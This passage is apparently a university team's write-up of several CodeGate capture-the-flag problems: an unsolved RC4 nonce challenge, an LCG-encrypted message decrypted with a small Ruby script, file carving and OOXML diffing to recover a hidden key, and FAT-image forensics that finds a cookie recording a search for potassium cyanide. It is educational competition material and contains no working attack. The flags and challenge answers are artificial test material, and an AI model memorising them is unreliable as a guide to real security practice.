We did not complete this problem, so the write-up will be a bit sparse.

For this problem, we needed to contact a remote file transfer server and download the "secrets" file. However, the file is protected and the only way to download it is to ask the server for a nonce and respond with the hash of the combined secret key for the file and the nonce.

The server used RC4 to hash the nonce and secret key for the file. Note that this is the same as used by WEP. The server also had a bug that caused it to crash after asking for the nonce. The crash produced a core file that doesn't contain the secret keys, but hashes of the nonce and secret keys.

Problem 17

We are given two hints: "Lucy in the CodeGate with diamonds" and "Beatles". It was obvious that the hint is refering to the Beatle's song "Lucy in the Sky with Diamonds". Also, when we connect to the server, we get three consecutive characters 'a', 'c', and 'm'.

According to the wikipedia (http://en.wikipedia.org/wiki/Lucy_in_the_Sky_with_Diamonds), we could figure out that the abbreviatino of the title (LCD) is refering to the drug.

First, we thought that the 'a-c-m' might refer to the drugs. So we tried to put a bunch of drug names that starts with 'a', 'c', or 'm' including marijuana and cocaine. However, we could not get anything.

Second, we realized that when we put numbers as an input, we got different outputs from the server, which looks like an encrypted message. And we finally realized that the capital letters in the hint string matches LCG that is one of the best-known pseudorandom number generation algorithms.

Also, when we look at the wiki page of the LCG algorithm. LCG takes the three inputs 'a', 'c', and 'm', which is exactly the same query string from the server. It was obvious that the server takes user's input to generate random numbers and to encrypt the message, because if we give the same number as inputs, we always obtain the same output from the server.

So we made a simple ruby script to decrypt the message from the server as follows: (note that this example is for inputs 3, 100, and 263)

```
a = 3
c = 100
m = 263

y = "\x33\xfd\x36\xd1\x9a\x5b\xe4\x5d\xca\x02\xf4\xcf\x5f\xec\x38\xf7\x8b\x8b\x65\
    x09\xc8\x2f\x58\xb3\xd8\x8f\x83\x43\xd7\x52\x6c\x2e\x2d\x1b\x67\xfd\x3a\x44\xdc
    \xb4\x52\x63\x18\xf5\x6b\x9a\xa6\xcd\x7c\x7e\xeb\xca\x43\xef\x42\x8d\x79\xe0\
    x18\x90\x09\xfd\xcc\xe4\x03\x6d\x18\xc8\x13\x1e"

r = 1
y.each_byte do |x|
    r = (a*r + c) % m
    putc ((x ^ r) & 0xff).chr
end
```

And we got the key value:

```
To:You
Dear CTF Player,
Your flag is: ULearnLCG4Fun&Profit

--
LM**2.
```

Problem 18

This data has been acquired from the suspect's disk. Find the hidden key!

http://ctf.codegate.org/thisiswhereiuploadmyfiles/9334A7B726178F014FFB54BC98C93BE6

```
hint : spreadsheet
```

Analyzing the file revealed it was a concatenation of several other files. Using scalpel to separate the file provided a GIF file with the logo of "Korea University", a JPEG file with an image of a popular Korean musical nonet, PDF data and Microsoft Excel data (OOXML formatted).

The PDF file was unreadable, and it appeared it had been manually tampered with. The PDF header was immediately followed by the cross reference table, trailer and EOF marker. In fact, scalpel had stopped the extraction of the PDF once it reached the EOF marker, but the disk image contained more PDF objects. After the PDF main structures had been rewritten, it was revealed that the PDF was of a paper by Eoghan Casey, entitled "Introduction to Windows Mobile Forensics".

Since OOXML files are just zip archives, we were able to search for the end of central directory file header. This contains the offset of the central directory relative to the beginning of the file, so we now knew where the OOXML file began and ended. After extracting the OOXML, 7zip reported that one of the files was corrupted. We noticed that the first 4 bytes of the OOXML file had been corrupted. Since this was just the local file header signature, it was easily fixed.

Once we opened the file in Excel, we saw that it was a copy of the NVIDIA CUDA Occupancy Calculator. In order to find the key, we found the original version of the document on the internet, and converted it to xlsx format. Next, we unzipped both the original and the one that we extracted earlier. We then did binary diffs of the files to figure out what had been added. In most cases, the changes were just because of the language codes, but the charts (chart1.xml, ...) had changes in their headerFooter tags.

```
chart1.xml: Page &amp;P bmx5czFz
chart2.xml: Page &amp;P MHJtYXQ0
chart3.xml: Page &amp;P bzB4bTFm
```

Those extra bytes appear to be base64, and if you plug them into a base64 decoder, you get:

```
nlys1s
0rmat4
o0xm1f
```

Anyone who can read l33t-speak can see that this is the key.

```
0xm1f0rmat4nlys1s
```

Problem 19

```
Found a dead guy on the street, assumed that a guy committed suicide.
How can you assume that? Find the clue.

http://ctf.codegate.org/thisiswhereiuploadmyfiles/56DACF1C6CF363F27501FFCA50CC0415

another link for the file: http://www.mediafire.com/file/y0jjzkfzju1/56
    DACF1C6CF363F27501FFCA50CC0415.zip
```

In this problem, we're given a link to a file. The zip file contains 56DACF1C6CF363F27501FFCA50CC0415.raw, which is actually a FAT filesystem image. With little else to go on, one can mount the filesystem image and poke around, or simply look at the image directly. Since the image is not too big, one can look at all the strings in the image in about 20 minutes by using the `strings` command. Careful reading will reveal a cookie presumably showing that the user made a google search for "where can i buy potassium cyanide". Further inspection shows that this string is present in __TFAT_HIDDEN_ROOT_DIR__/ApplicationData/Opera/cookies4.dat of the filesystem image.

```
y268455671.1136351268.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=
    where%20can%20i%20buy%20potassium%20cyanide
```

Key: where can i buy potassium cyanide

3 Acknowledgement

Thanks to our advisor David Brumley for refreshments, CyLab for the space.